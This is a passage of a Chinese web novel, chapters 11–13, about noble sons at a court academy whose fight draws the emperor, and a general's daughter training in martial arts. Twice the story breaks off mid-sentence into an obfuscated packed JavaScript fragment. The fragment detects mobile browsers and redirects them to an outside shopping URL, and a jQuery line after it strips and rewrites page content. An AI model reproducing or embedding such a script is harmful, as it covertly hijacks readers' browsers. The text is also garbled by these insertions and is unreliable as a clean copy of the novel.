钱宗宝趁热打铁,一把拽住他的袖子,“走吧走吧!书什么时候不能念?非得今天?再说了……” 他瞥了一眼桌上那本书,“你看的这本,上个月不就看过了吗?” 陈满仓脸一红,他看了看钱宗宝那张笑得见牙不见眼的胖脸,又看了看面前摊着的书,其实吧,他这大半天也没看进去几个字,光顾着想青松书院那档子破事了。 “那……”他犹豫了一下,“那等吃完回来再念?” “对对对!吃完回来再念!”钱宗宝连连点头,拽着他就往外走,“走啦走啦,再不去好东西就让人抢光了!” 陈满仓被他拽着走了两步,心里那点挣扎被这么一拽,就散没了。 算了,明天再念,反正……不是还有半年时间! 两人刚跑到外舍门口,迎面撞上几个人。 打头那个摇着把扇子,走一步晃三晃,便是英国公府嫡次子赵锦宁,家里爵位轮不上他,索性躺平摆烂,长得斯斯文文的,那张嘴却毒得很。 他旁边杵着个人高马大的,叫周承轩,乃是正三品奉国将军嫡子,三代将门之后。按理说该是个威风凛凛的小将军坯子,可惜一身力气全用在了斗蛐蛐上,脑子一根筋,最好忽悠,赵锦宁说啥他信啥。 “哟!这不是我们陈大公子吗?”赵锦宁把扇子一合,笑眯眯地凑过来,“听说你也想考状元了?怎么,太阳打西边出来了?” “去去去!”陈满仓连连摆着手,脸上却终于有了点笑模样。 还没等他为自己分辨,周承轩就上来一把搂住他肩膀,“走!今天你请客!” “凭什么我请?” “凭你三天没见人!”周承轩理直气壮。 “这算什么理由!” “理由够用了!”赵锦宁啪地又把扇子打开,摇了两摇,“走走走,再不走真没位置了,今儿这顿,就当给你接风洗尘,顺便给我们哥几个压压惊。” “对对对!”钱宗宝在后头跟着起哄,“压惊!压惊!” 陈满仓被他们裹挟着往外走,脚底下踉踉跄跄的,嘴里还在嘟囔,“我请就我请……回头我爹问我月钱怎么没的,你们可得给我作证……” “好!”几个人异口同声,笑得一个比一个大声,勾肩搭背地笑闹着往外走,刚到外舍院子门口,忽然听见前头一阵吵嚷。 陈满仓脚步一顿,探头往月洞门那边看去,只见那儿围了一群人,将路堵得严严实实,人头攒动间,隐约能看见中间空出一块地,几道身影站在那,气氛明显不对。 “咋了咋了?”钱宗宝跟着踮起脚尖往里瞅,奈何个子不够高,蹦了两下还是什么都看不见。 陈满仓本来不想理这闲事,这种堵人的戏码,崇文馆隔三差五就来一出,不是谁看谁不顺眼了,就是谁又嘴欠惹祸了,一帮人高马大的少年,他们几个十来出头的小屁孩,躲都来不及,更别提去凑什么热闹了。 可就在他打算绕道走的时候,余光却扫见人群里有两道熟悉的身影,其中一个正站在前头挡着,令一个被护在后头,身上都带着点儿书卷气。 陈满仓又仔细看了一眼,心一下就提到了嗓子眼! 完了完了,那不是关昭昭她两个哥哥吗? 此刻,关凌庆和关凌墨两兄弟正被四五个高个子少年围在中间,进退不得。 为首那个穿着宝蓝锦袍,腰间系着块成色极好的玉佩,一张脸生得倒是不差,就是那双眼睛往上挑着,看人时总带着三分不屑七分倨傲。 这位来头可不小,是皇帝的亲弟弟齐王的嫡子,商景裴。 这身份搁在崇文馆,那就是能横着走的主儿。更别提他还跟闻丞相的儿子闻子彦称兄道弟,俩人走一块儿那叫一个威风八面,谁见了不得让着三分? 商景裴抱着胳膊,把面前两兄弟从上到下打量了一遍,嘴里“啧”了一声,这才慢悠悠地开口,“哟,这不是关家两位大才子吗?听说这回月考,你俩考了一个第一,一个第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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然而,就在陈满仓一股脑冲过去,还没来得及看清前方战况的时候,忽然,四周一下子安静了下来。 紧接着,平地一声暴喝从不远处炸开: “你们在干什么!” 那声音又沉又响,还带着几分气急败坏的意味。 众人齐齐回头,只见崇文馆馆长陶修岩正黑着脸站在后头。 这位秘书监陶大人,平日里可是出了名的老好人,成天笑眯眯,走路慢悠悠的,连看见学生打架都能当没看见,可此时却绷着一张老脸,眼神看起来像是能吃人一样。 更让人纳闷的是,他正侧着身,弯着腰,恭恭敬敬地引着一个人往前走。 那人看着四十来岁,穿着一身玄色锦袍,腰间系着块比商景裴那块还大一圈的玉佩,面容倒是挺和蔼,可往那儿一站,就是有种让人不敢大声说话的气势。 众人面面相觑,没人敢多吭一声。 崇文馆里打架斗殴又不是头一遭,陶馆长哪回不是睁只眼闭只眼?可这回怎么跟天塌了似的? 大家正纳闷着,人群中突然冒出一道惊慌的嗓音,“皇……皇叔?” 众人一愣,又顺着声音看过去。 只见商景裴那张脸白得跟纸似的,嘴唇都在哆嗦,哪还有半点方才的威风? 钱宗宝跟在陈满仓旁边,嘴巴张了张,下意识跟着喃喃了一句,“谁的……皇叔?” 没人回答他。 陈满仓也没吭声,他脸上的表情已经彻底僵住了。 商景裴的皇叔…… 当今皇上只有一个亲弟弟是齐王,齐王的儿子叫商景裴……那商景裴的皇叔,不就只剩一个了吗? 陈满仓脑子里轰的一声,炸了。 12. 第 12 章 每天还没亮透,关昭昭就醒了。 窗外黑漆漆的,窗纸上透进来一点点灰白的光,然后她就爬起来,摸黑把衣裳往身上一套,头发也顾不上好好梳,胡乱扎两下,蹬上靴子就往外跑。 爹爹说了,她练得比别人迟,再不勤快点,练了也等于白练。 她不想白练,所以就一路小跑到演武场,爹爹忙,给她请了个师傅,姓周,听说以前是跟着爹爹上过战场的,一身硬功夫。 周师傅住得不远,每天这个时辰过来,天刚亮就背着手站在场边等她。 前几日他来的时候,脸上还带着漫不经心,想着左右不过是陪府里的小姐玩几日,小姑娘家家的,能练出什么名堂?怕是三天打鱼两天晒网,新鲜劲儿一过就不来了。 但他没说什么,只让她先扎个马步看看。 关昭昭就扎了,撑了一刻钟,腿就开始抖。 后来,她能撑两刻钟。 再后来周师傅让撑三刻钟,她腿抖得跟筛糠似的,酸得好像不是自己的,汗水从额角流下来,糊了眼睛,她也不敢动。 有时候撑到一半,脑子里会冒出些有的没的,她就跟自己说:再坚持一会儿,再一会儿就好。 直到周师傅喊停,她一屁股坐在地上,两条腿又酸又麻,动都不想动,可心里头却很高兴。 练拳也一样,一个动作学不会,她就练十遍,十遍还不会,就二十遍。打到两条胳膊跟灌了铅一样,抬都抬不起来。 疼是真疼,酸是真酸,累也是真累,可只要一想到半年后就能去书院,她就咬着牙继续练。 她不想以后遇到困难只能写信求人帮忙,也不想眼睁睁看着朋友挨揍却缩在一边什么都做不了,更不想再像现在这样的没用。 没过几日,周师傅私下忍不住跟关忠夫妇感叹,“将军,您这闺女了不得,有股子狠劲,真像您啊!” 关忠听了,摸着胡子直乐,嘴上直谦虚,“哪里哪里,小孩子瞎折腾。” 可林纤云在一旁听着,脸上笑着,心里却疼得跟针扎似的,总是忍不住惦记着周师傅的话。 次日天才刚亮,演武场那边就传来“嘿哈”的声响。 林纤云披着衣裳站在廊下听了会儿,越听心里越不是滋味,最后她一跺脚,亲自朝了演武场去。 远远就瞧见自家闺女扎着马步,小脸绷得紧紧的,额角的汗顺着脸颊往下淌,把领口的衣裳都浸湿了一片。 林纤云只看了半刻钟就忍不了了,三步并作两步冲过去,一把将人拽过来,心疼道:“行了行了!我儿也该休息休息,再练下去人都要散架了!” 关昭昭任她娘擦着,浑不在意笑嘻嘻的仰着脑袋,“娘,我不累。” “你不累我累!”林纤云瞪她一眼,“今儿不许练了,跟我出门逛逛。” 关昭昭好奇问:“去哪儿逛?” 林纤云脸上露出个神秘兮兮的笑,“带你见个人。” 林纤云说的这个人,是她前几日去华元寺上香时刚结识的。 那日她正跪在蒲团上替全家求平安,旁边也跪着位夫人,穿着身秋香色的褙子,眉眼温温柔柔的,瞧着便知是书香门第出来的。两人不知怎的就攀谈起来,一聊才知,对方姓秦,嫁的是翰林院侍讲周大人。 最关键的是,秦夫人有个女儿,比昭昭大一岁,小名唤作阿蘅。 “那孩子生得跟朵小花似的,”林纤云回来跟关昭昭念叨,“一看就是大家闺秀的坯子,说不准跟你投缘呢!” 关昭昭当时正往嘴里塞桂花糕,听了这话,嚼的动作慢了一拍。 林纤云也不管她乐不乐意,自顾自地接着念叨,“你整日跟那些舞刀弄枪的混在一处,也该有个闺中密友说说话,女孩子家家的,成天扎马步打拳,像什么话?” 于是就有了今日这一出。 林纤云亲自把关昭昭那件新做的裙子翻了出来,桃粉色的妆花缎,裙摆上绣着几朵小小的缠枝莲,是她上个月特意让绣娘赶制的。 “来,伸手。” 关昭昭乖乖把胳膊伸开,让娘亲帮她把裙子套上,桃粉色衬得她那张小脸越发白净,眉眼弯弯的,像年画上的娃娃。 林纤云又给她配了条月白色的发带,在脑袋后头扎成两个小髻,末了还从自己妆奁里翻出一朵小小的绢花,花瓣层层叠叠,瞧着就跟刚从枝头摘下来似的。 关昭昭对着铜镜照了照,镜子里那个小姑娘白白净净的,桃粉色的裙子软软地垂着,绢花颤颤巍巍地簪在发间。 她摸了摸那朵花,有点别扭,又有点新鲜。 “娘,”她小声问,“我这样……是不是太招摇了?” 林纤云正在给她整理裙摆,闻声连头也不抬的道:“招摇什么?小姑娘家家的,就该穿得鲜亮点,成天穿那着粗衣麻布的,也不嫌寒碜。” 关昭昭想想也是,就没再说什么。 城南有家茶楼叫清茗轩,林纤云是去过的,那地方不大但极为雅致,推开二楼的窗子,能瞧见底下街上来来往往的人群,卖糖葫芦的、挑担子的、牵着小孩的,看起来就热热闹闹的。 关昭昭被娘亲按在临窗的椅子上,面前摆着碟点心,桌案上有壶茶正冒着热气。 “一会儿人来了,你要好好说话,”林纤云在她耳边小声叮嘱,“别动不动就要跟人比划两下,知道吗?” 关昭昭乖乖点头。 “也别上来问一顿人家吃几碗饭。” 关昭昭又点头,脑袋跟小鸡啄米似的。 “还有……” “娘,”关昭昭终于忍不住了,抬起头,一脸认真地看着她,“我知道了,不能问人家会不会武,不能问人家能吃几碗饭,不能一见面就拉着人家扎马步。” 她掰着手指头数完,眨巴眨巴眼睛,“我都记着呢!” 等了没一会儿,人就到了。 门帘掀开,先进来的是秦夫人,后头跟着个小姑娘。 关昭昭眨了眨眼睛,努力让自己看起来像个乖孩子,那小姑娘也从秦夫人身后探出半个身子,怯生生地看了她一眼。 那阿蘅生得果然跟朵小花似的,柳叶眉,杏核眼,一张小脸白白净净,她穿着身藕荷色的褙子,料子软软的,垂顺地贴着身子。头发梳成两个小髻,各簪着一朵米粒大的珍珠,走起路来,那珍珠一颤一颤的,就是走起路来袅袅婷婷的,慢极了。 她往关昭昭对面一坐,微微一笑,细声细气道:“昭昭妹妹好。” 关昭昭赶紧回礼,“阿蘅姐姐好。” 然后就没话了。 林纤云和秦夫人坐在另一桌喝茶聊天,时不时往这边瞟一眼,眼神里满是“你们好好聊”的期待。 关昭昭只好硬着头皮问:“姐姐平日在家都做什么?” 阿蘅抿了抿嘴,道:“读读书,绣绣花,弹弹琴。” 关昭昭连忙点头,“哦。” 她想了想,又问:“那姐姐喜欢读什么书?” “《女诫》《列女传》这些。” “……哦。”关昭昭没看过,实在不知道该怎么接话了,只好又换了个话题,“那姐姐会绣什么花?” “兰花,梅花,都会一些。” 关昭昭再次点头捧场,“会这么多花,姐姐好厉害!” 阿蘅掩嘴轻笑了一声,从怀中掏出帕子展开,“这帕子上的兰花,我绣了足足半个月呢。” 关昭昭连忙凑过去看,“好看好看。”确实好看,兰花绣得跟真的似的,叶子弯弯的,花瓣薄薄的,一看就下足了功夫。 又如此这般聊了一会儿,关昭昭再一次偷偷往娘亲那边瞄了一眼,只见娘亲正和秦夫人聊得热络,时不时往这边瞅一眼,那眼神里满是欣慰。 她只能又把想打哈欠的冲动憋回去,继续端着笑脸,“姐姐还会绣别的吗?” “荷花也会一些……” “哦哦,厉害厉害。” 窗外的街上,卖糖葫芦的还在那儿吆喝。那个拽着娘衣角的小孩,终于买到一串,正举着跑远。 关昭昭看了一眼,又乖乖把目光收回来,继续听阿蘅讲她的手帕。 等回到家,天已经黑了。 母女俩刚进大门,就瞧见关忠从府里冲了出来,一身出门的衣裳已经穿戴整齐,眉头拧成个大疙瘩,嘴里还在骂骂咧咧,“反了天了!两个小兔崽子,老子今天非得……” 话没说完,一抬头,正撞见自家闺女。 关昭昭蹬蹬蹬跑过去,一把拽住他袖子,“爹!你去哪儿?” 关忠低头看她一眼,脸上的怒气立马散了一半,他弯下腰,蒲扇似的大手往闺女脑袋上一按,“你两个哥哥在书院犯事了!崇文馆来人,叫爹过去一趟!” 关昭昭好奇,“犯事?他们平日不是最听先生的话了吗?” “听个屁的话!”关忠一挥手,“谁知道那俩小子抽什么风!反正来人说了,让爹赶紧去!” 关昭昭还想再问,关忠已经直起腰,“行了行了,回头再说!乖闺女先跟你娘回屋吧!” 说完,他大步流星往外走,一眨眼就消失在门外。 …… 等关忠赶到崇文馆门口时,一眼就看见陈守田正站在那儿转圈。 这位兵部侍郎大人此刻半点侍郎的架子也无,背着手在门廊底下走来走去,连门不敢进。 见他出现,陈守田先是松了一口气,俩人对视一眼,都从对方眼里看出同一个疑问:你家小子也闯祸了? 关忠大步走过去,压低了嗓门,“你家满仓?” 陈守田点头,眉头跟着狠狠一皱,“你家那俩?” 关忠也点头,纳闷道:“他俩跟你家满仓差了七八岁吧?啥时候玩到一块去的?” 陈守田挠头,把本来就乱的头发挠得更乱,“我也正想问你呢。” 两人一时面面相觑,谁也答不上来,下一刻,身后突然传来一阵更大的动静。 两人回头一看。 好家伙。 只见巷口有一溜儿轿子正往这边来,红的、青的、带流苏的……后头还跟着成群挑灯的仆人,灯火星星点点,跟条火龙似的。 轿子前前后后落了地,里头的人一个个掀帘出来,有穿锦袍的,有着官服的,有年长的摸着胡子,有年轻的板着脸。 关忠眼尖,一眼认出好几个,英国公、户部尚书、太常寺少卿……全是朝中有头有脸的人物。 他正数着,忽然瞧见最后头一顶轿子落了地。 那轿子比旁人的都大,漆得乌黑锃亮,轿顶四角垂着金黄色的流苏,轿帘用的是上好的锦缎,上头绣着暗纹,月光底下泛着幽幽的光。抬轿的是八个精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341084|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮的汉子,落地时齐刷刷地蹲下身,轿杆纹丝不动。 片刻后,轿帘掀开,里头下来个人。 四十来岁,穿着身石青色常服,料子瞧着寻常,可月光底下隐隐有暗纹浮动,像是云纹,又像是蟒纹,看不真切。 那人往那儿一站,没说话,也没动,可周围那几个正往这边走的官员,步子都慢了半拍,原本交头接耳的也住了声。 陈守田在旁边拽了拽关忠袖子,压低声音,“是齐王!” 关忠立马心里咯噔了一下。 齐王?这事儿连齐王都扯进来了?? 他扭头看向陈守田,陈守田也正看他,俩人的眼珠子都瞪得溜圆。 他们这帮人凑一块儿,都能开个小朝会了!关忠咽了口唾沫,脑子里只剩一个念头: 他娘的,这俩小子到底捅了多大的篓子? 而此时此刻,崇文馆后院的阁楼上,有个人正负手而立。 阁楼的窗户半开着,只露出一道窄窄的缝。他就站在那缝隙后头,月光从缝隙里漏进来,落在他的侧脸上,忽明忽暗的,让人看不清神情。 景帝今日个微服出巡,没摆銮驾,没惊动任何人,只带了平南侯和两名贴身护卫,悄没声息地从角门进了崇文馆。白日里那身明黄的龙袍早换成了玄色的常服,腰间只系着块寻常的玉佩,搁在人堆里,至多让人觉得这位气度不凡,绝想不到他是谁。 他就这么站着,透过那道窄缝往下瞧。 底下乌泱泱一群人,正往崇文馆正门的方向聚拢。有坐轿来的,有骑马来的,有走着来的,一个个面色都不太好看。 月光下,那些袍服的颜色还分得清,紫的、绿的、红的,按品级排着,乱糟糟地挤在一处。 景帝瞧着,嘴角微微动了动,也不知是想笑还是想叹气。 他抬手,轻轻推开窗扇,露出半张脸来。 底下的喧哗声隐隐约约传上来,什么“我家小子”“岂有此理”“定是误会”,简直乱成了一锅粥。 景帝旁边站着个人,正探着脖子往下瞧,瞧了一会儿,摇摇头,一脸的不以为然的啧啧两声,“这帮人就是太惯着孩子,瞧瞧这架势,来一个还不够,乌泱泱来一堆,是生怕自家小子吃亏?” 景帝侧过脸,瞥了平南侯一眼,目光先落在他袖口那块偌大的补丁上,接着再往下一滑,腰间的玉佩倒是好玉,可那根系玉佩的带子,毛边都磨出来了。 他收回目光,无奈地叹了口气,“他们是不好,可舅兄你……” 景帝说着顿了顿,斟酌着措辞,“舅兄这般节省,也是有点过了。” 平南侯一愣,“过了?臣哪里过了?” 景帝没说话,只拿眼风扫了扫他的袖口。 平南侯顺着他的目光低头一看,顿时明白过来,非但不窘,反而挺了挺腰板,理直气壮地道:“皇上,这您就不懂了,一件衣裳好好的就破了个袖口,扔了多可惜?缝缝补补不是还能穿三年!臣府里上下都是这个规矩。” 景帝:“……” “再说那块补丁,”平南侯说着还来了兴致,掰着指头给皇帝算账,“您知道外头找人缝一件新袍子要多少银子吗?少说也得一两银子!臣这补一下,半钱银子都用不了!皇上您算算,这省了多少?” 景帝张了张嘴,愣是没接上话。 平南侯还在那儿絮叨,“臣在家也是这么说的,过日子得精打细算,该省的省,该扣的扣。你看沉璧那孩子,打小就没乱花过一文钱,还不是臣教得好!” 景帝沉默了片刻,“……沉璧那孩子,” 他慢慢开口,“身边怎么连个书童都没有?上回皇后还跟朕念叨,说那孩子瘦得跟竹竿似的,怪可怜的。” 平南侯摆摆手,“可怜什么?年轻人就该多吃苦!臣像他那么大的时候也没书童啊,不也活得好好的?” 景帝噎了一下,他想起皇后跟他说的那些话:“臣妾那兄长也不知怎么想的,守着金山银山,非要让孩子过这种苦日子。臣妾暗地里想贴补些,他还不让,说什么‘娘娘别惯着他,男儿家吃点苦怕什么’。臣妾呀,每每想起沉璧那孩子,心里总不是滋味。” 景帝当时还劝她,说各人有各人的教子之道。可现在对着平南侯那张理直气壮的脸,又忽然有点明白皇后的心情了。 “舅兄,”他再一次斟酌着开口,“节俭是好事,可……” “皇上!”平南侯打断他,一脸正色,“您瞧瞧底下那群人,一个个惯子如杀子,将来有他们后悔的时候!” 景帝闻言往窗外看了一眼,齐王站在人群外头,负着手,也不知道在想什么。 他不由在心里默默叹了口气,今日本是想来崇文馆转转,瞧瞧本朝勋贵的子弟究竟是个什么成色。 实在是太子那孩子在宫里叫他十分头疼,顽劣的没边了!打也打了罚也罚了,全不管用,皇后还护着,一说就掉泪。 景帝愁得头发都白了几根,夜里睡不着,翻来覆去的想再这么下去,大梁怕是要亡在自己儿子手里。 想着若是崇文馆学风不错,不如让太子来这边上学,也该让太子看看,旁人家的孩子是怎么念书做人的。 结果谁知刚到地方,就撞上了这么一出。 景帝看着身边犹自沾沾自喜的舅兄,心里忽然有点拿不准了。 13. 第 13 章 崇文馆的禁闭室不大,此时却挤了十来号人,关凌庆靠墙坐着,眼角青了一块,他时不时拿手碰一下,碰完就龇牙,龇完牙就瞪对面的人。 他对面坐着商景裴,这位王爷家的公子此刻也不大好看,嘴角肿着,跟被蜜蜂蛰了一样。 俩人就这么互瞪着,谁也不说话。 剩下一帮人也在较上劲,你瞪我一眼,我瞪你一眼,你瞪回来,我再瞪回去。禁闭室不大,愣是给这帮人瞪出了千军万马的气势。 动不了手,那就在眼神里分出个高下。 “咳咳。”突然,商景裴用力清了清嗓子。 关凌庆立马坐直了,脖子一梗,“你还想干什么?” 商景裴扯了扯嘴角,扯到红肿的地方,疼得倒吸一口凉气,便拿舌头舔了舔,放狠话道:“你那一拳,我可记住了!” “你那脚我也记着呢!”关凌庆不甘示弱。 “哼!” “哼哼!” 关凌墨在旁边轻轻叹了口气,再旁边的陈满仓,已经恨不得把自己缩进墙角里了。 他到现在也没想明白自己凭什么在这儿,自己冤枉啊!明明没动手!何况就算动了手,他这小身板能打得过谁?撑死了也就算个从犯吧! 从犯跟这帮主犯关一块也太危险了点,总该单独关个雅间吧! 就在陈满仓还没想明白的时候,禁闭室的门“吱呀”一声开了。陶馆长板着脸站在门口,表情冷得像是刚从冰窖里出来,青里透寒。 屋里众人见状,一个个条件反射地坐直了。 “都起来。”陶馆长的声音从牙缝里挤出来,“皇上宣你们几个主犯觐见。” 主犯? 关凌庆和关凌墨对视一眼,齐刷刷站起来,商景裴也不甘落后,蹭地起身,抬脚就往门口走。 三人刚走到门口,陶馆长忽然抬手一拦,“等等。” 只见他抬手往角落里一指,“陈满仓,你也出来。” 陈满仓闻言浑身一僵! 他抬起脑袋,满脸茫然地指了指自己鼻子,手指头都在抖,“馆长您……叫我?” 陶馆长冲他笑了笑,只是那笑虽挂在嘴角,眼睛里却一丝笑意也无,凉飕飕的直往人身上刮,“皇上说了,托你那一嗓子的福,不然他还不知道这边这般热闹。” 陈满仓:“……” 他的脸一下子白了,白完又青,青完又紫,最后定格在一张生无可恋的苦瓜脸上。 然而他刚往门口挪了几步,忽然觉得后背一阵发烫,于是僵硬地回过头。 只见屋里剩下的几号人,正齐刷刷地盯着他,个个眼睛都不眨,跟要把他生吞活剥了似的。 陈满仓喉咙动了动,咕咚一声咽了口唾沫。 四人跟在陶馆长身后,一路穿过崇文馆的长廊,等到了正殿门口,陶馆长往旁边一闪,露出里头的光景,四个少年的脚就跟钉在地上似的,再也迈不动了。 好家伙,满屋子乌泱泱站着一堆人!而且个个都是朝堂上有头有脸的大臣。 此刻众大臣齐刷刷扭头,十几道目光跟箭似的射过来,直射得四个人头皮发麻,觉得天要塌了。 关忠站在人群最前头,一双虎目用力瞪着自家两个儿子,眼珠子都快瞪出火来了,那眼神明明白白写着:回家再跟你们算账,等着瞧。 而陈守田则站在另一边,看着自家那个缩头缩脑的儿子,脸上还和和气气挂着一丝笑……只是那笑比哭还难看,笑得陈满仓后背直冒凉气,恨不得原地消失。 商景裴的爹齐王倒是没什么表情,只是淡淡扫了儿子一眼,可就这一眼,却让商景裴的嘴角抽得更厉害了。 四个少年齐刷刷低下头,恨不得把脑袋埋进胸腔里,谁也不敢吭声。 “都抬起头来。” 上头传来一道声音,不怒自威,可听着倒还算和气。 四人战战兢兢抬起头,就见正中端坐着个穿玄色常服的景帝,面容平和,目光在他们脸上转了一圈,不紧不慢的,像是在看什么新鲜物件。 关凌庆下意识挺了挺腰板,商景裴也努力把肿着的嘴角收了收,只不过越收越显得明显。 “伤的这两个,”景帝目光在关凌庆的眼角和商景裴的嘴角停了停,语气平平道:“回头让御医瞧瞧,别留了疤。” 关凌庆和商景裴对视一眼,这下谁也不敢瞪谁了,连忙战战兢兢地拱手谢恩。 接着一旁的齐王淡淡开口,声音不大,可每个字都让人听得清清楚楚,“皇上仁厚,臣回去定让这小子好看。” 关忠也赶紧跟上,“臣也是!回去就揍这两个臭小子!” 陈满仓站在后头听着这话,心里刚偷偷松了一口气,正暗自庆幸没自己的事,忽然听见上头又传来声音: “那个小胖子。” 陈满仓一愣,抬起头,发现皇上正看着他,“你叫什么?” 陈满仓腿一软,差点当场跪下,好不容易稳住身子,结结巴巴地开口,“回、回皇上,臣叫陈满仓……” “陈满仓。”景帝点点头,似乎把这名字念了一遍,“朕听说,今日那一嗓子是你喊的?” 陈满仓脸都白了,额头上的汗珠子一颗接一颗往外冒,“是、是臣……” “嗓门挺大。”景帝嘴角微微一弯,那笑意淡淡的,看不出来是夸还是损,“倒是有几分将门气概。” 陈满仓愣住了,这是……夸他? 只是还没等他反应过来,就听旁边传来一声熟悉的咳嗽声,原来是他爹陈守田上前一步,“皇上谬赞了!这小子平日里就知道瞎喊,没个正形,臣回去定会好好管教!” 陈满仓:“……” 不是,爹,皇上夸我呢,您凑什么热闹? 可他已经来不及解释了,因为满屋子的人纷纷点头,一个个跟着附和: “陈大人教子有方!” “这孩子嗓门确实洪亮,将来必成大器!” 好在景帝及时打断,简单说了几句后,他端起茶盏,不紧不慢地呷了一口,这才语气淡淡道:“崇文馆学风,是该整顿整顿了。今儿这事,朕记下了。” 他放下茶盏,目光扫了一圈,摆摆手,“都散了吧。” 众人顿时如蒙大赦,一时间告退的声音此起彼伏,有走得快的,已经快出殿门了,还有走得慢的在跟身边的人交头接耳,不知在嘀咕什么。 关忠动作最快。 他一手提溜一个儿子,大步流星往外走,关凌庆被他拽得踉踉跄跄,脚底下直打绊,一路小跑才能跟上。关凌墨也好不到哪儿去,步子虽然稳些,可也被拽得袍子都歪了。 关凌庆一边跑一边在心里盘算:回家是跪祠堂还是挨板子?跪祠堂吧,地上凉,膝盖疼。挨板子吧,屁股疼,还得趴着睡。 他想了想,觉得还是跪祠堂好点,起码能垫个蒲团,接着又偷偷瞄了一眼他爹的脸色,见关忠板着脸,目视前方,嘴角抿得紧紧的,看不出喜怒。 心说完了,这表情,回去肯定轻不了! 直到进了自家大门,关忠忽然停下脚步,关凌庆两人见状也连忙跟着停下,低着头,大气都不敢出,等着暴风雨来临。 关凌庆甚至已经开始调整重心,预备着第一下巴掌落下来的时候往哪个方向倒能摔得轻一点。 结果关忠转过身来,那张脸上早没了半点怒气!大咧着嘴,笑得见牙不见眼,整张脸跟开了花一样。 “好!” 他一巴掌拍在关凌庆肩上,发出“啪”的一声脆响,拍得关凌庆一个趔趄,整个人顺势往地上一歪,直接滚在了地上。 然后又被关忠单手提溜起来,“今儿这事干得好啊!” 关凌庆懵了,嘴巴张着,眼珠子都不会转了。 林纤云正跟在门后迎接,本来已经做好了扑上去拦人的准备,这会儿也懵了,手里的帕子都忘了揪,“老爷,您这是……” “你不懂!”关忠大手一挥,满脸都是得意,“这小子平时就知道念书念书念书!一天到晚捧着那些破书,愁的我头发都白了!谁成想今儿居然跟人动手了!还跟齐王的儿子动手!好!有种!这才是我关忠的儿子!” 关凌庆的嘴巴张得更大了,他觉得自己可能还没睡醒。刚才在崇文馆,他爹不是说要让他好看吗?现在怎么就成了干得好了? 关忠说完又转向关凌墨,伸手拍了拍他肩膀,这回力道轻了些,但语气一点没轻,“老大,你往后也多跟你弟学学!别整天闷着看书,该动手时就动手!打架才是正经!看看你弟多给你爹长脸!” 关凌墨面色不变,只是轻轻点了点头,连眼皮都没抬一下,“知道了,父亲。” 话音刚落,关忠那双虎目瞪得溜圆,嗓门跟着就上来了,“没吃饱饭?蚊子哼哼呢?大点声!” 关凌墨浑身一激灵,立刻挺直腰板,“是!父亲!” “这才像话!”关忠满意了,大手一挥,乐呵呵地招呼林纤云,“走!回屋吃饭!” 林纤云被他拽着走了两步,回头看了一眼还愣在原地的儿子,想说什么又咽了回去。 …… 秋去冬来,一眨眼就到了年根。 关昭昭起了个大早,站在铜镜前左照右照。 门帘一掀,林纤云端着碗热牛乳进来,瞧见她这副模样忍不住笑了,“一大早的,照什么呢?” “娘!”关昭昭回过头,指着镜子,“您看,我是不是变了?” 林纤云走过去,把碗往桌上一放,端详了她一会儿,伸手捏了捏她的脸,又比了比她的个子,笑道:“是变了,高了半寸不止,脸上这肉也紧实了,不是之前那软乎乎的样子了。” 关昭昭眼睛一亮,赶紧把袖子撸起来,露出细细的胳膊,“您看这个!” 林纤云低头一看,那胳膊上还真有点意思了,竟是隐隐约约能瞧见一点形状。 “周师傅夸我了,”关昭昭得意洋洋地晃了晃胳膊,“说我这三个月练得好,站桩能站两刻钟不抖,拳也打得有模有样了!” 林纤云笑着点头,“是是是,我们昭昭最厉害了。” 说着,林纤云笑着拍了她一下,“行了,先把牛乳喝了,一会儿凉了。” 关昭昭端起碗,咕咚咕咚喝了一大口,嘴边沾了一圈白。她放下碗,又忍不住往镜子里瞄了自己一眼,这才心满意足地一抹嘴,把碗还给林纤云。 “娘,我出去了!”她把碗一放,蹦蹦跳跳出了屋子。 将军府里早就热闹起来了。 廊下挂了一溜儿大红灯笼,风一吹,金黄的穗子晃来晃去。有小厮踩着梯子贴春联,管家季福在下头给他扶着梯子,嘴里还念叨着,“往左点、再往左点、哎过了过了往右点……” 关昭昭从他身边跑过,差点撞着梯子,季福在后头喊:“小姐慢着点儿!” 她头也不回,摆摆手又一头扎进了厨房。 厨房里热气腾腾的,蒸笼一打开,白乎乎的蒸汽扑了满脸,带着一股米香直往鼻子里钻,新蒸的年糕整整齐齐码在笼屉里,白白胖胖的,上头还点着红点儿,看着就喜人。 厨娘正要把年糕往外端,一转身就瞧见小姐踮着脚尖往这边瞅,忍不住笑了,“小姐,还烫着呢。” “我就看看!”关昭昭嘴上说着,手已经伸出去了。 她飞快地揪了一小块,烫得在两只手里来回倒腾,嘴里呼呼地吹着气,可还是舍不得撒手,等稍微凉了点,赶紧塞进嘴里,烫得直哈气。 厨娘笑着摇头,拿了个小碟子给她装了一块,“给,慢慢吃,别烫着。” 关昭昭接过碟子,嘿嘿笑了两声,一边嚼一边往外跑,在路上吃完年糕,她又溜到了两个哥哥的书房门口。 书房的门虚掩着,里头传来纸张翻动的轻响,于是她轻手轻脚地凑过去,扒着门缝往里瞅。 关凌庆和关凌墨正站在书案前写春联,红纸铺了一桌,墨香混着炭火的暖意,从门缝里丝丝缕缕地飘出来。 此时关凌墨握笔的手稳稳的,一笔一画地落下去,关凌庆在旁边看着,时不时伸手指点,又被关凌墨一个眼神给瞪回去。 关昭昭正看得起劲,关凌庆忽然一回头,正好对上她那两只亮晶晶的眼睛。 他无奈地笑了笑,冲她招手,“进来吧,别扒门缝了。” 关昭昭笑嘻嘻地推门跑进去,趴到书案边上一边看,一边好奇的问:“大哥写的什么?” “春联。” 